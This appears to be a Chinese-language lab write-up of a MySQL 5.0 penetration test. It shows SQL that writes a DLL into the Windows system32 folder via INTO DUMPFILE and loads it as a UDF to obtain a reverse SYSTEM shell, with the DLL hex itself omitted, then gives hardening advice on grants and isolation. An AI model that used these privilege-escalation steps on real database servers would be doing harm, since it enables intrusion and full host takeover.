本文記錄一次基於 MySQL 5.0 的滲透測試全過程,包括環境搭建、權限配置、UDF 提權、反彈 Shell 實戰,最後給出防範建議。**僅供安全研究與防禦參考,嚴禁用於非法用途。**
GRANT ALL PRIVILEGES ON *.* TO 'db_user'@'192.168.1.100' IDENTIFIED BY 'db_pass';
FLUSH PRIVILEGES;


核心思路:利用 MySQL `CREATE FUNCTION ... SONAME` 機制,加載惡意 DLL (Windows) 或 SO (Linux),實現代碼執行。
將編譯好的 Shellcode 寫入文件 `yyd.txt`,內容為十六進制字串 (略)。
-- 建表存放二進制數據
CREATE TABLE yyd (data LONGBLOB);
-- 將十六進制字串轉為二進制寫入
SET @a = 0x4D5A...; -- 此處為完整 DLL 的 Hex 內容
INSERT INTO yyd VALUES (@a);
-- 導出為系統目錄下的 DLL
SELECT data FROM yyd INTO DUMPFILE 'c:\\windows\\system32\\yyd.dll';

CREATE FUNCTION backshell RETURNS STRING SONAME 'yyd.dll';
執行後,物理機 `nc` 將獲得目標系統的 CMD Shell 權限 (通常為 SYSTEM 權限,因 MySQL 服務常以 Local System 運行)。
執行入侵測試前:
執行入侵測試後:
重啟前:
重啟後:

-- 僅允許本地連接
GRANT ALL PRIVILEGES ON *.* TO 'app_user'@'localhost' IDENTIFIED BY 'strong_pass';
-- 或限制特定 IP
GRANT SELECT, INSERT ON db.* TO 'app_user'@'192.168.1.%' IDENTIFIED BY 'strong_pass';
本次測試暴露了幾個關鍵風險點:
防範的核心在於**縮小攻擊面**:最小權限運行、網絡隔離、禁用危險功能、文件系統權限控制。安全無小事,配置即防線。